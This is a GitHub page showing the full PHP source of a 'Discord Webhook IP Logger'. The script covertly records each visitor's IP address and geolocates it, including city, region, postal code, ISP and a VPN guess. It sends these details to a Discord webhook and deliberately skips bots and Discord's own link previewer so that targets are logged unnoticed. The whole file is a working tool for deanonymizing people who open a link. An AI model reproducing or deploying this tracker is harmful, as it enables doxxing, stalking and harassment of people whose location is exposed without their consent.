forked from Scarface-Tony-Montana/Discord-Webhook-IP-Logger
-
Notifications
You must be signed in to change notification settings - Fork 1
/
index.php
45 lines (35 loc) · 1.94 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
Please keep this copyright statemnet in tact
Original Creator Of This Webhook IP Logger: ᴮᵉᵗᵗᵉʳ ᴼᶠᶠ ᴳᵒⁿᵉ#0869
Creation Date: 21/10/19
APIs Provided By: Octolus (geoiplookup.io) and IP-API (ip-api.com)
NOTE: You can use this in every page if you make a it a external page and require it in every other page that is php.
*/
<?php
$webhookurl = "discord webhook link";
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
$browser = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/bot|Discord|robot|curl|spider|crawler|^$/i', $browser)) {
exit();
}
$TheirDate = date('d/m/Y');
$TheirTime = date('G:i:s');
$details = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"));
$vpnCon = json_decode(file_get_contents("https://json.geoiplookup.io/{$ip}"));
if($vpnCon->connection_type==="Corporate"){
$vpn = "Yes (Double Check: $details->isp)";
}else{
$vpn = "No (Double Check: $details->isp)";
}
$flag = "https://www.countryflags.io/{$details->countryCode}/shiny/64.png";
$data = "**User IP:** $ip\n**ISP:** $details->isp\n**Date:** $TheirDate\n**Time:** $TheirTime \n**Location:** $details->city \n**Region:** $details->region\n**Country** $details->country\n**Postal Code:** $details->zip\n**IsVPN?** $vpn (Possible False-Postives)";
$json_data = array ('content'=>"$data", 'username'=>"Vistor Visited From: $details->country", 'avatar_url'=> "$flag");
$make_json = json_encode($json_data);
$ch = curl_init( $webhookurl );
curl_setopt( $ch, CURLOPT_POST, 1);
curl_setopt( $ch, CURLOPT_POSTFIELDS, $make_json);
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt( $ch, CURLOPT_HEADER, 0);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec( $ch );
?>